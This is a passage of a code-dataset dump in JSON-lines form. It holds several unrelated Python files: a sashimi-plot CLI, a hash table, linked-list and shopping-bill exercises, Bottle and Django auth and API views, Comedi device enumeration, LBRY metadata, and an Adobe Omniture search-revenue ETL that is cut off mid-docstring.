\\b\n \"\"\"\n)\n@click.option(\n \"-p\",\n \"--process\",\n type=click.IntRange(min=1, max = cpu_count()),\n default=1,\n help=\"\"\"\n How many cpu to use \\b\n \"\"\"\n)\n@click.option(\n \"-f\",\n \"--genome\",\n type=click.Path(),\n default=None,\n help=\"\"\"\n Path to genome fasta \\b\n \"\"\"\n)\n@click.option(\n \"--sort-by-color\",\n is_flag=True,\n type=click.BOOL,\n help=\"\"\"\n Whether sort input bam order, for better looking \\b\n \"\"\"\n)\n@click.option(\n \"--share-y-by\",\n type=click.INT,\n default=-1,\n help=\"\"\"\n Index of column with share y axis (1-based), Need --share-y\\. \n For example, first 3 bam files use same y axis, and the rest use another\n \"\"\",\n show_default=True\n)\n@click.option(\n \"--remove-empty-gene\",\n is_flag=True,\n type=click.BOOL,\n help=\"\"\"\n Whether to plot empty transcript \\b\n \"\"\"\n)\n@click.option(\n \"--distance-ratio\",\n type=click.FLOAT,\n default=0.3,\n help=\"distance between transcript label and transcript line\",\n show_default=True\n)\n@click.option(\n \"--title\",\n type=click.STRING,\n default=None,\n help=\"Title\",\n show_default=True\n)\ndef normal(\n bam, event, gtf, output,\n config, threshold, indicator_lines,\n share_y, no_gene, color_factor,\n dpi, log, customized_junction,\n process, sort_by_color, share_y_by,\n remove_empty_gene, distance_ratio,\n title, genome\n):\n u\"\"\"\n This function is used to plot single sashimi plotting\n \\f\n Created by ygidtu@gmail.com at 2018.12.19\n :param ctx: passed parameters from main\n :param bam: list of input BAM files\n :param event: event id, chr:100-200-100-200:+ etc\n :param bam: list of input BAM files\n :param gtf: path to gtf file\n :param output: path to output file\n :param event: event id, chr:100-200-100-200:+ etc\n :param config: path to config file, default using settings.ini file under this suite of scripts\n :param threshold: filter out low abundance junctions\n :param indicator_lines: draw vertical lines in sashimi to show the spliced sites\n :param share_y: make different plots use same y axis boundary\n :param no_gene: do not show gene id\n :param color_factor: 1-based index, only work with bam list\n :param dpi: output file resolution\n :param log: whether to perform y axis log transform\n :param customized_junction: add customized junction to plot\n :param process:\n :param sort_by_color:\n :param share_y_by:\n :param remove_empty_gene:\n :param distance_ratio:\n :param title\n :return:\n \"\"\"\n try:\n log = int(log)\n except ValueError:\n pass\n\n out_dir = os.path.dirname(os.path.abspath(output))\n\n try:\n if not os.path.exists(out_dir):\n os.makedirs(out_dir)\n except IOError as err:\n print(err)\n print(\"Create output directory failed, please check %s\" % out_dir)\n exit(err)\n\n sashimi_plot_settings = parse_settings(config)\n\n colors = sashimi_plot_settings[\"colors\"]\n\n bam_list, shared_y = prepare_bam_list(bam, color_factor, colors, share_y_by)\n\n if sort_by_color:\n bam_list = sorted(bam_list, key=lambda x: x.color)\n\n splice_region = get_sites_from_splice_id(event, indicator_lines=indicator_lines)\n\n splice_region = read_transcripts(\n gtf_file=index_gtf(input_gtf=gtf),\n genome=genome,\n region=splice_region\n )\n\n if remove_empty_gene:\n splice_region.remove_empty_transcripts()\n\n reads_depth = read_reads_depth_from_bam(\n bam_list=bam_list,\n splice_region=splice_region.copy(),\n threshold=threshold,\n log=log,\n n_jobs=process\n )\n\n # set shared y\n if share_y:\n assign_max_y(shared_y.values(), reads_depth)\n\n # read customized junctions\n if customized_junction and os.path.exists(customized_junction):\n customized_junction = read_reads_depth_from_count_table(\n customized_junction,\n splice_region=splice_region,\n required=None,\n colors=colors\n )\n\n temp_customized_junction = {k.alias: v for k, v in customized_junction.items()}\n\n for key, value in reads_depth.items():\n temp = temp_customized_junction.get(\n key.alias,\n customized_junction.get(os.path.basename(key.path), None)\n )\n\n if temp:\n value.add_customized_junctions(temp)\n\n draw_sashimi_plot(\n output_file_path=output,\n settings=sashimi_plot_settings,\n average_depths_dict=reads_depth,\n splice_region=splice_region.copy(),\n no_bam=False,\n show_gene=not no_gene,\n dpi=dpi,\n log=log,\n distance_ratio=distance_ratio,\n title=title\n )\n","sub_path":"cli/normal.py","file_name":"normal.py","file_ext":"py","file_size_in_byte":7665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"625065486","text":"# Python Hash Table Implementation\n# with index based sub-key retreval\n# Author: Shevis Johnson\n# Python v3.X\n\nimport random\n\nclass HashTable:\n\n # Constructor\n def __init__(self, tableSize=6):\n self.size = tableSize\n self.theTable = [None]*self.size\n self.indexDict = {}\n\n # Creates an index entry to speed up subkey-based data retreval\n def index_sub_key(self, subKey):\n self.indexDict[subKey] = {}\n for i in range(self.size):\n for key,value in self.theTable[i]:\n if value[subKey] in self.indexDict[subKey]:\n self.indexDict[subKey][value[subKey]].append(key)\n else:\n self.indexDict[subKey][value[subKey]] = [key]\n\n # Returns a list of all entries in the hash table containing a given sub-value\n def get_values_for_subval(self, subKey, subVal):\n if subKey in self.indexDict:\n output = []\n for key in self.indexDict[subKey][subVal]:\n output.append(self.get_val_for_key(key))\n return output\n else:\n self.index_sub_key(subKey)\n return self.get_values_for_subval(subKey, subVal)\n\n # Returns the value in the table associated with a given key\n def get_val_for_key(self, key):\n hash_val = self.get_hash_value(key)\n if self.theTable[hash_val] is None:\n return None\n for pairs in self.theTable[hash_val]:\n if key == pairs[0]:\n return pairs[1]\n return None\n\n # The hash function used by this table (in this case, the ASCII value of the key modulated over the table's size)\n def get_hash_value(self, key):\n count = 0\n for i in str(key):\n count += ord(i)\n return count%self.size\n\n # Appends a key/value pair to the has table\n def add(self, key, value):\n hash_val = self.get_hash_value(key)\n key_val = [key, value]\n\n if self.theTable[hash_val] is None:\n self.theTable[hash_val] = list([key_val])\n return True\n else:\n for pairs in self.theTable[hash_val]:\n if pairs[0] == key:\n pairs[1] = value\n return True\n self.theTable[hash_val].append(key_val)\n return True\n\n # Prints the entire contents of the table\n def print_table(self):\n for i in self.theTable:\n if i:\n print(i)\n\n\n# ============ EXAMPLE USAGE ===============\n\n# Produces objects with unique IDs and non-unique values 'person' and 'grade'\ndef populate(num):\n person = ['A','B','C','D','E']\n grade = ['A','B','C','D','F']\n for i in range(num):\n val = {\n 'id' : i,\n 'person' : random.choice(person),\n 'grade' : random.choice(grade)\n }\n yield val\n\n# Populates the hash table with 100 entries, then displays all entries where 'person' is 'A'\ndef example():\n num = 100\n people = populate(num)\n theTable = HashTable()\n for _ in range(num):\n b = next(people)\n theTable.add(b['id'],b)\n\n a_people = theTable.get_values_for_subval('person', 'A')\n\n for i in a_people:\n print(i)\n","sub_path":"hash_table.py","file_name":"hash_table.py","file_ext":"py","file_size_in_byte":2879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"187703474","text":"#-*- coding: UTF-8 -*- \n#根据给药方式和剂量剂型分词\nimport os\nimport EMRdef\nimport string\nimport re\n \nemrtxts = EMRdef.txttq(r'D:\\DeepLearning ER\\EHRzlgc4')#txt目录提取\n#pattern = r',|;|\\*|`|\\[|\\]|<|>|\\?|\"|\\{|\\}|!|@|#|\\$|%|\\^|&|=|,|。|:|;|‘|’|\\+|\\-|【|】| \\)|\\( |(|)|·|!|、|…'#清除标点\npattern = r',|;|\\'|`|\\[|\\]|<|>|\\?|\"|\\{|\\}|!|@|#|\\$|%|\\^|&|=|>|,|。|:|<|;|‘|’|【|】|(|)|·|!|\\*|\\/|…'#清除标点\nhyjg=[]\nfor emrtxt in emrtxts:\n f = open(emrtxt,'r',errors=\"ignore\")#中文加入errors\n emrpath = os.path.basename(emrtxt)\n emrpath = os.path.splitext(emrpath)[0]#提取目录\n f_end=[]\n for line in f.readlines():\n c = line\n line = re.sub(' ','',line)#删除空格\n line = re.sub('\\.','',line)#删除.\n line = re.sub('×','',line)#删除.\n a=EMRdef.tq_bnum(line)\n a_end = \"\".join(a)#转成str \n a_end = re.split(pattern,a_end)\n a_end = \"\".join(a_end)#转成str \n a_end = re.sub(' ','',a_end)#删除空格 \n a_end = \"\".join(a_end)#转成str \n if a_end == '':\n a_end = 1\n else:\n acb = EMRdef.rre( c, a_end , a_end + ':',1)\n #f_end = re.split(pattern, f_start2)\n f_end.append(acb)\n hyjg.append(f_end)#生成化验结果集\n #f_out = \"\".join(f_end)#转成str \n #EMRdef.text_create(r'D:\\DeepLearning ER\\EHRzlgc5','.txt',emrpath,f_out)\n\n","sub_path":".history/EMR/EMRhyjg_5_20190516104235.py","file_name":"EMRhyjg_5_20190516104235.py","file_ext":"py","file_size_in_byte":1494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"83883899","text":"class Node:\n\tdef __init__(self, dataval=None):\n\t\tself.data = dataval\n\t\tself.next = None\n\nclass LinkedList:\n\tdef __init__(self):\n\t\tself.head = None\n\n\tdef list_print(self):\n\t\tcurrent = self.head\n\t\twhile current is not None:\n\t\t\tprint(current.data)\n\t\t\tcurrent = current.next\n\n\tdef prepend(self, newData):\n\t\tnewNode = Node(newData)\n\t\tnewNode.next = self.head\n\t\tself.head = newNode\n\n\tdef append(self, newData):\n\t\tcurrent = self.head\n\t\tif self.head is None:\n\t\t\tself.head = Node(newData)\n\t\t\treturn\n\t\twhile current.next is not None:\n\t\t\tcurrent = current.next\n\t\tcurrent.next = Node(newData)\n\n\tdef delete(self, key):\n\t\tif self.head is None:\n\t\t\treturn \n\n\t\tif self.head.data == key:\n\t\t\tself.head = self.head.next\n\t\t\treturn \n\n\t\tcurrent = self.head\n\t\twhile current.next is not None:\n\t\t\tif current.next.data == key:\n\t\t\t\tcurrent.next = current.next.next\n\t\t\t\treturn\n\n\t\t\tcurrent = current.next\n\n\n\n\tdef delete_dups(self):\n\t\tif self.head is None:\n\t\t\treturn\n\n\t\tvals = {}\n\t\tcurrent = self.head\n\t\tvals[current.data] = True\n\n\t\twhile current.next is not None:\n\t\t\tif current.next.data in vals:\n\t\t\t\tcurrent.next = current.next.next\n\t\t\telse:\n\t\t\t\tvals[current.next.data] = True\n\t\t\t\tcurrent = current.next\n\t\tprint(vals)\n\n\ndef isIntersectionLL(list1,list2):\n\tnodes = {}\n\t\n\n\n\nlist = LinkedList()\nlist.head = Node(\"mon\")\ne2 = Node(\"tues\")\ne3 = Node(\"wed\")\n\nlist.head.next = e2\ne2.next = e3\n\nlist.prepend(\"sun\")\nlist.append(\"thurs\")\nlist.append(\"thurs\")\nlist.append(\"thurs\")\nlist.append(\"thurs\")\nlist.append(\"thurs\")\nlist.append(\"thurs\")\nlist.list_print()\nprint(\"--------\")\nlist.delete_dups()\nlist.list_print()\n\n\n\n\n\n","sub_path":"linkedList.py","file_name":"linkedList.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"250081694","text":"import bottle\nimport schematics as s\n\nfrom helpful import ClassDict, ensure_instance, padded_split\nfrom bottle import request, redirect, HTTPResponse, HTTPError\n\nfrom bottlecap import View\nfrom bottlecap.negotiation import ContentNegotiation, HTMLRenderer\n\nfrom .services import UserVerifyEmailService, UserAuthTokenService\nfrom .plugin import AuthPlugin\n\nfrom backpack.cbv import HTTPErrorDetail\nfrom backpack import Service, context_manager\ncurrent_app = context_manager.get_current_app\n\nfrom backpack.helpers import gettext as _\n\n\n__all__ = ['User', 'Group', 'UserGroup', 'Token', 'UserProfile']\n\n\n#############################################################\n# Bases and mixins\n#############################################################\n\nclass auth_required(object):\n \"\"\"\n Decorator for enforcing user auth\n\n XXX: Should we allow scope \"pairs\"? (e.g. a & b required, not a or b)\n \"\"\"\n\n def __init__(self, scopes=None, error_url=None):\n \"\"\"\n If you do not specify `error_url`, then either 401 or 403\n will be used on errors.\n\n If you do not specify `scopes`, then all authenticated\n users are allowed.\n\n :attr scopes: token must have these scopes\n :attr scopes: list/tuple/set\n :attr error_url: Redirect request to this URL if auth fails\n :attr error_url: str, bytes\n \"\"\"\n ensure_instance(scopes, (set, tuple, list, type(None)))\n ensure_instance(error_url, (str, bytes, type(None)))\n self.scopes = scopes\n self.error_url = error_url\n\n def __call__(self, callback):\n # XXX: Should we put error codes in docstring?\n def inner():\n try:\n # ensure header is present\n value = request.headers.get('Authorization')\n if not value:\n exc = HTTPErrorDetail(401)\n exc.add(\n code='auth_header_missing', \n message=_('Auth header missing'))\n raise exc\n auth_scheme, auth_param = padded_split(value, \" \", 1)\n\n # ensure header is correct\n if auth_scheme != 'Bearer':\n exc = HTTPErrorDetail(400)\n exc.add(\n code='auth_scheme_invalid', \n message=_('Authorization header must be \"Bearer\"'))\n raise exc\n\n # check token is valid\n result = UserAuthTokenService.check_token(auth_param)\n if not result.success:\n exc = HTTPErrorDetail(401)\n exc.add(\n code=result.error_code,\n message=result.error_message)\n raise exc\n\n request.token = result.context.token\n request.token_payload = result.payload\n request.token_raw = auth_param\n request.user = result.context.user\n\n # XXX: add RBAC/scopes checking\n return callback()\n except HTTPErrorDetail as e:\n # XXX: add support for error context encoded as base64\n if self.error_url:\n return redirect(self.error_url)\n raise\n\n return inner\n\n\nclass AuthRequiredMixin(object):\n \"\"\"View mixin for enforcing user authentication\"\"\"\n\n class Meta:\n # list of allowed scopes\n allowed_scopes = None\n\n # redirect to URL on auth error\n auth_error_redirect_url = None\n\n def __call__(self):\n wrapper = auth_required(\n scopes=self._meta.allowed_scopes,\n error_url=self._meta.auth_error_redirect_url)\n callback = super(AuthRequiredMixin, self).__call__\n return wrapper(callback)()\n\n\n\n#############################################################\n# Views\n#############################################################\n\n\n# XXX: Replace add_to_views with views.route\n# XXX: Create per plugin app then merge views/routes\n# XXX: Add SMS support\n\n\n\n\n\n@AuthPlugin.register_view\nclass VerifyEmailView(View):\n \"\"\"\n For a list of possible reason codes, see module:\n `UserVerifyEmailService.process_verify_email_token`\n \"\"\"\n\n class Meta:\n path = '/auth/verify_email'\n method = ['GET']\n name = 'backpack:auth:verify_email'\n plugins = [\n ContentNegotiation(\n renderers=HTMLRenderer(), \n default_renderer=HTMLRenderer())\n ]\n\n @classmethod\n def get_success_url(self):\n \"\"\"\n Returns URL that we should redirect to after verify success\n\n :rtype: str\n \"\"\"\n url = current_app().config.get('backpack.auth.verify_email_success_url')\n if not url:\n path = current_app().get_url('backpack:auth:verify_email_success')\n url = current_app().base_url + path\n return url\n\n @classmethod\n def get_error_url(self, reason=None):\n \"\"\"\n Returns URL that we should redirect to after verify error\n\n XXX: This does not perform any sort of URL mangling to inject\n the query string param. Mangling could cause some URLs to be\n altered due to URL parsing, causing unexpected side effects.\n\n This custom URL will work;\n http://example.com/error\n\n This custom URL will not work;\n http://example.com/error?tag=1#wtf\n\n :attr reason: Error reason code\n :attr reason: str/bytes\n :rtype: str\n \"\"\"\n ensure_instance(reason, (str, type(None)))\n url = current_app().config.get('backpack.auth.verify_email_error_url')\n if not url:\n path = current_app().get_url('backpack:auth:verify_email_error')\n url = current_app().base_url + path\n if reason:\n url += \"?reason={}\".format(reason)\n return url\n\n def dispatch(self):\n token = self.request.query.get('token')\n if not token:\n return redirect(self.get_error_url('invalid_token'))\n\n serv = UserVerifyEmailService\n result = serv.process_verify_email_token(token)\n\n if result.success:\n return redirect(self.get_success_url())\n\n return redirect(\n self.get_error_url(\n reason=result.error_code))\n\n\n@AuthPlugin.register_view\nclass VerifyEmailSuccessView(View):\n class Meta:\n path = '/auth/verify_email_success'\n method = ['GET']\n name = 'backpack:auth:verify_email_success'\n\n plugins = [ContentNegotiation(\n renderers=HTMLRenderer(), \n default_renderer=HTMLRenderer())]\n\n def dispatch(self):\n tmpl = current_app().templates.get_template(\n 'auth/verify_email_success.html')\n return HTTPResponse(tmpl.render())\n\n\n@AuthPlugin.register_view\nclass VerifyEmailErrorView(View):\n class Meta:\n path = '/auth/verify_email_error'\n method = ['GET']\n name = 'backpack:auth:verify_email_error'\n plugins = [ContentNegotiation(\n renderers=HTMLRenderer(), \n default_renderer=HTMLRenderer())]\n\n def dispatch(self):\n tmpl = current_app().templates.get_template(\n 'auth/verify_email_error.html')\n return HTTPResponse(tmpl.render())\n\n\n##########################################################\n# Send OTP via SMS/TTS\n##########################################################\n\n'''\n@AuthPlugin.register_view\nclass SendOTPSMS(JSONView):\n \"\"\"\n Send OTP via SMS\n\n GET /auth/send_otp HTTP/1.1\n delivery=sms&username=*&password=*\n \"\"\"\n\n class Meta:\n path = '/auth/send_otp_sms'\n method = ['POST']\n\n def dispatch(self):\n pass\n\n'''\n'''\n\n@AuthPlugin.register_view\nclass SendOTPSMS(JSONView):\n \"\"\"Send OTP via SMS\"\"\"\n class Meta:\n path = '/auth/send_otp_tts'\n method = ['POST']\n\n def dispatch(self):\n pass\n\n\n@AuthPlugin.register_view\nclass LoginView(JSONView):\n pass\n'''","sub_path":"backpack/auth/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"274698250","text":"from rest_framework.generics import (\n\t\tListAPIView,\n\t\tCreateAPIView,\n\t\tRetrieveAPIView,\n\t\tRetrieveUpdateAPIView,\n\t\tDestroyAPIView,\n\t)\n\nfrom rest_framework.renderers import JSONRenderer\nfrom rest_framework import status\nfrom rest_framework.response import Response\nfrom rest_framework import renderers, generics\n\nfrom accounts.models import Profile, User\n\nfrom .serializers import (\n\t\tProfileListSerializer,\n\t\tProfileSerializer,\n\t\tUserListSerializer,\n\t\tUserSerializer,\n\t)\n\n# Profile API\n\nclass ProfileListAPIView(ListAPIView):\n\tserializer_class = ProfileListSerializer\n\n\tdef get_queryset(self, *args, **kwargs):\n\t\tqueryset_list = Profile.objects.all()\n\t\treturn queryset_list\n\nclass ProfileCreateAPIView(CreateAPIView):\n\tserializer_class = ProfileSerializer\n\nclass ProfileDetailAPIView(RetrieveAPIView):\n\tserializer_class = ProfileListSerializer\n\n\tdef get_queryset(self, *args, **kwargs):\n\t\tqueryset_list = Profile.objects.all()\n\t\treturn queryset_list\n\nclass ProfileUpdateAPIView(RetrieveUpdateAPIView):\n\tserializer_class = ProfileSerializer\n\tqueryset = Profile.objects.all()\n\nclass ProfileDeleteAPIView(DestroyAPIView):\n\tserializer_class = ProfileSerializer\n\tqueryset = Profile.objects.all()\n\n\n# User API\n\nclass UserListAPIView(ListAPIView):\n\tserializer_class = UserListSerializer\n\n\tdef get_queryset(self, *args, **kwargs):\n\t\tqueryset_list = User.objects.all()\n\t\treturn queryset_list\n\nclass UserDetailAPIView(RetrieveAPIView):\n\tserializer_class = UserListSerializer\n\n\tdef get_queryset(self, *args, **kwargs):\n\t\tqueryset_list = User.objects.all()\n\t\treturn queryset_list\n\nclass UserCreateAPIView(CreateAPIView):\n\tserializer_class = UserSerializer\n\nclass UserUpdateAPIView(RetrieveUpdateAPIView):\n\tserializer_class = UserSerializer\n\tqueryset = User.objects.all()\n\nclass UserDeleteAPIView(DestroyAPIView):\n\tserializer_class = UserSerializer\n\tqueryset = User.objects.all()","sub_path":"src/accounts/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"609591935","text":"# vim: ts=2:sw=2:tw=80:nowrap\n\"\"\"\nSome tools to help enumerate subdevices.\n\"\"\"\n\nimport logging\nfrom logging import log, debug, DEBUG\nimport comedi\n\nfrom .analog import Analog\nfrom .digital import Digital\nfrom .timing import Timing\nfrom functools import reduce\n\n\ndef subdev_iterator(fp, typ):\n i = 0\n while True:\n i = comedi.find_subdevice_by_type(fp, typ, i)\n if i < 0: break\n yield i\n i += 1\n\n\nklasses = {\n comedi.SUBD_AO : Analog,\n comedi.SUBD_DO : Digital,\n comedi.SUBD_DIO : Digital,\n comedi.SUBD_COUNTER : Timing,\n}\n\n\ndef get_useful_subdev_list(card, typ,\n restrictions=dict(start_src=comedi.TRIG_FOLLOW\n |comedi.TRIG_INT\n |comedi.TRIG_EXT),\n ):\n klass = klasses[typ]\n\n L = list()\n cmd = comedi.cmd()\n for index in subdev_iterator(card, typ):\n if comedi.get_cmd_src_mask(card, index, cmd) < 0:\n # we only will look at those subdevs that can have asynchronous use\n log(DEBUG-1, 'ignoring subdev without async mode: %s/%d', card, index)\n continue\n if not reduce( lambda x,y: x|y,\n [ getattr(cmd,n) & r for n,r in restrictions.items() ]):\n # we only return unrestricted devs\n debug( 'ignoring restricted subdev: %s/%s(%d)',\n card, klass.subdev_type, index )\n if logging.root.getEffectiveLevel() <= (DEBUG-1):\n log(DEBUG-1, 'cmd restrictions: %s', restrictions)\n log(DEBUG-1, 'cmd capabilities: %s',\n { n:getattr(cmd,n) for n in restrictions })\n continue\n L.append(index)\n return L\n\n\n\ndef get_useful_subdevices(card, typ, ret_index_list=False, **kwargs):\n klass = klasses[typ]\n L = get_useful_subdev_list(card, typ, **kwargs)\n\n nus = len(L) > 1\n\n subdevs = list()\n for index in L:\n try: subdevs.append( klass(card, index, name_uses_subdev=nus) )\n except: pass\n if ret_index_list: #added to collect subdev number\n return L\n else:\n return subdevs\n","sub_path":"python/arbwave/backend/drivers/comedi/subdevice/enum.py","file_name":"enum.py","file_ext":"py","file_size_in_byte":1976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"326046831","text":"import logging\n\nfrom lbrynet.core import Error\nfrom lbrynet.metadata.StructuredDict import StructuredDict\nimport metadata_schemas\n\nlog = logging.getLogger(__name__)\nNAME_ALLOWED_CHARSET = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0987654321-'\n\n\ndef verify_name_characters(name):\n assert len(name) > 0, \"Empty uri\"\n invalid_characters = {c for c in name if c not in NAME_ALLOWED_CHARSET}\n if invalid_characters:\n raise Error.InvalidName(name, invalid_characters)\n return True\n\n\ndef migrate_001_to_002(metadata):\n metadata['ver'] = '0.0.2'\n metadata['nsfw'] = False\n\ndef migrate_002_to_003(metadata):\n metadata['ver'] = '0.0.3'\n if 'content-type' in metadata:\n metadata['content_type'] = metadata['content-type']\n del metadata['content-type']\n\n\nclass Metadata(StructuredDict):\n current_version = '0.0.3'\n\n _versions = [\n ('0.0.1', metadata_schemas.VER_001, None),\n ('0.0.2', metadata_schemas.VER_002, migrate_001_to_002),\n ('0.0.3', metadata_schemas.VER_003, migrate_002_to_003)\n ]\n\n def __init__(self, metadata, migrate=True, target_version=None):\n if not isinstance(metadata, dict):\n raise TypeError(\"{} is not a dictionary\".format(metadata))\n starting_version = metadata.get('ver', '0.0.1')\n\n StructuredDict.__init__(self, metadata, starting_version, migrate, target_version)\n","sub_path":"lbrynet/metadata/Metadata.py","file_name":"Metadata.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"143935426","text":"from datetime import datetime\nn = (input(\"Enter your name: \"))\np = int(input(\"Enter your phoneno.: \"))\npm = (input(\"Enter the payment method(cash/card/online): \"))\n\ndict = {0:{\"Name\":\"Earphones\",\"Original_price\":\"1200\", \"Discount_price\":\"200\", \"weight\":\"150g\"} ,1:{\"Name\":\"Tablet\",\"Original_price\":\"10000\",\"Discount_price\":\"500\",\"weight\":\"650g\"},2:{\"Name\":\"Bluetooth Speaker\",\"Original_price\":\"900\",\"Discount_price\":\"0\",\"weight\":\"950g\"},3:{\"Name\":\"Bluetooth Mouse\" ,\"Original_price\":\"300\",\"Discount_price\":\"0\",\"weight\":\"120g\"},4:{\"Name\":\"Smart Phone\",\"Original_price\":\"12000\",\"Discount_price\":\"700\",\"weight\":\"860g\"}}\n \nfor key,value in dict.items():\n print(key, ':', value)\ns, q =input(\"Enter a single shopping item(index no. from list) and its quantity: \").split()\n#\"\"\"if(d<=5) :\n # shipping=0\n#elif(d<=20):\n # shipping=30\n#else:\n # shipping=60\ns=int(s)\n#key=list(dict)\n#s2=key[s]\nq=int(q)\n#if s2 in dict:\n # s1=dict[s2]\nq1=int((dict[s]['Discount_price']))\nq2=int((dict[s]['Original_price']))\n\nbill=q*(q2-q1)\n\nh=(input(\"Want Home delivery/takeaway?? Write (Y) for takeaway else (N)\"))\nif(h=='N'):\n print('Ok! you selected the home delivery option.')\n d=int(input(\"Enter the distance of your home from the shop\"))\n if(d>50):\n print(\"Sorry!! No delivery avaialable\")\n ttax=0.06*bill\n amt=bill+ttax\n else:\n sh=(input(\"Enter the Shipping address\"))\n if(d<=5) :\n shipping=0\n ttax=0.06*bill\n amt=bill+ttax\n elif(d<=20):\n shipping=30\n ttax=0.06*(30+bill)\n amt=30+bill+ttax\n else:\n shipping=60\n ttax=0.06*(60+bill)\n amt=60+bill+ttax\nelse:\n print('You selected to take your items with you.')\n ttax=0.06*bill\n amt=bill+ttax\n\nnow=datetime.now()\n\n\nprint('----------------------------------------------------------------------------------------Bill--------------------------------------------------------------------------------------')\nprint('Shop name:GadgetifyWithGSBlr')\nprint('Shopping address:311/5 Akshay nagar, Bangalore, Karnataka, India')\nprint('Shop contact no: +91 9988776655')\nprint('Customer name:',n)\nprint('Customer phone no:',p)\nprint('Item bought, its quantity & price & Discount price:',dict[s]['Name'],',',q,',',q*q2, ',',q*q1)\nprint('Total Tax:',ttax)\nif((h=='N')and(d<=50)):\n print('Total Shipping charge:' ,shipping)\nprint('Total amount saved:' ,q*q1) \nprint('Sum amount to be paid:',amt)\nprint('Payment method used:',pm)\nprint('Billing date and time:',now)\nif((h=='N')and(d<=50)):\n print('Shipping address:',sh)\nprint('------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------')\n\n","sub_path":"Medium/1. Shopping Cart Problem/solutions/neha07kumari_NehaKumari/shopping.py","file_name":"shopping.py","file_ext":"py","file_size_in_byte":3086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"582713897","text":"from datetime import datetime\nfrom urllib.parse import urlsplit, parse_qs\n\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.dataframe import DataFrame\nfrom pyspark.sql.functions import split, when, regexp_replace, col, udf, last, first\nfrom pyspark.sql.types import StringType\nfrom pyspark.sql.window import Window\n\nfrom adobe.omniture.se_revenue.schema import data_schema\nfrom adobe.omniture.utils.arg_parse import ArgParser\nfrom adobe.omniture.utils.csv import csv_read\nfrom adobe.omniture.utils.logger import Logger\n\n\nfrom typing import List, Tuple\nimport pandas as pd\nimport shutil, os\n\ndef create_excel_spreadsheet(dfs: List[Tuple[str, pd.DataFrame]], target_path: str) -> None:\n \"\"\"\n Takes a list of tuples (report names, pandas dataframes) and creates an xlsx file, where each tuple is\n a seperate sheet.\n :param dfs: list of tuples - names and pandas dataframes, e.g. [('adherence', adherence_df), ...]\n :param s3_path: desired s3 location for the xlsx file\n :return:\n \"\"\"\n local_filename = datetime.now().strftime(\"%Y-%m-%d\") + '_SearchKeywordPerformance.xlsx'\n excel_writer = pd.ExcelWriter(local_filename, engine='xlsxwriter')\n for i, tup in enumerate(dfs):\n tup[1].to_excel(excel_writer, sheet_name=tup[0])\n excel_writer.save()\n\n if(\"s3://\" in target_path):\n os.system(f\"aws s3 cp {local_filename} {target_path}{local_filename} --sse --acl bucket-owner-full-control\")\n else:\n shutil.move(local_filename, target_path+local_filename) # add source dir to filename\n\n\ndef unpack_product_list(hit_level_df: DataFrame) -> DataFrame:\n \"\"\"\n Parse the Product List semicolon separate values into a separate columns\n :param hit_level_df: DataFrame containing the click data\n :return: Click data eataFrame containing all the columns plus the product list data in its own columns\n \"\"\"\n return hit_level_df.select(\n '*',\n split(\"product_list\", \";\")[0].alias(\"pl_category\"),\n split(\"product_list\", \";\")[1].alias(\"pl_product_name\"),\n split(\"product_list\", \";\")[2].alias(\"pl_number_of_items\"),\n split(\"product_list\", \";\")[3].alias(\"pl_total_revenue\"),\n split(\"product_list\", \";\")[4].alias(\"pl_custom_event\"),\n split(\"product_list\", \";\")[5].alias(\"pl_merchandising_evar\"),\n regexp_replace(\"referrer\", \"^((http[s]?|ftp):\\/)?\\/?([^:\\/\\s]+)((\\/\\w+)*\\/)([\\w\\-\\.]+[^#?\\s]+)(.*)?(#[\\w\\-]+)?\",\n \"$3\").alias(\"search_engine_domain\")\n )\n\ndef capture_search_keyword(hit_level_df: DataFrame) -> DataFrame:\n \"\"\"\n Locate the search engin keywords in the referrer URL and store it in a new column\n :param hit_level_df: DataFrame containing the click data\n :return: Click data eataFrame containing all the columns plus the keyword column\n \"\"\"\n\n def parse_url(url: str) -> str:\n \"\"\"\n Method used by the UDF to return the keyword paramater from the URL\n :param url: String containing the URL\n :return:\n \"\"\"\n parameters = parse_qs(urlsplit(url).query)\n # used in google and bing to hold the keyward search value\n if 'q' in parameters:\n return parameters['q'][0]\n # used in yahoo to hold the keyward search value\n elif 'p' in parameters:\n return parameters['p'][0]\n else:\n return None\n\n # Get the keyword search value stored in the URL parameter\n url_paramater_udf = udf(lambda x: parse_url(x), StringType())\n return hit_level_df.withColumn(\"search_keyword\", url_paramater_udf(hit_level_df.referrer))\n\n\ndef run_job(spark: SparkSession, logger: Logger, job_args: dict) -> DataFrame:\n \"\"\"\n The run_job method is called by the main method and by the pytest file. It extracts and transforms the\n the \"hit level data\" and calculates the how much revenue the client is getting from external Search Engines( such as\n Google, Yahoo and MSN) and which keywords are performing the best based on revenue.\n The method will return a dataframe which will have the following schema:\n root\n |-- Search Engine Domain: string (nullable = true)\n |-- Search Keyword: string (nullable = true)\n |-- Revenue: string (nullable = true)\n\n Here is an example of the output:\n +--------------------+--------------+-------+\n |Search Engine Domain|Search Keyword|Revenue|\n +--------------------+--------------+-------+\n | www.google.com| Ipod| 290|\n | www.bing.com| Zune| 250|\n | www.google.com| ipod| 190|\n +--------------------+--------------+-------+\n\n :param spark: Spark session\n :param logger: Logger object for logging messages. Default is INFO.\n :param job_args: Job arguments passed in by spark-submit: source and target path\n :return: DataFrame containing the 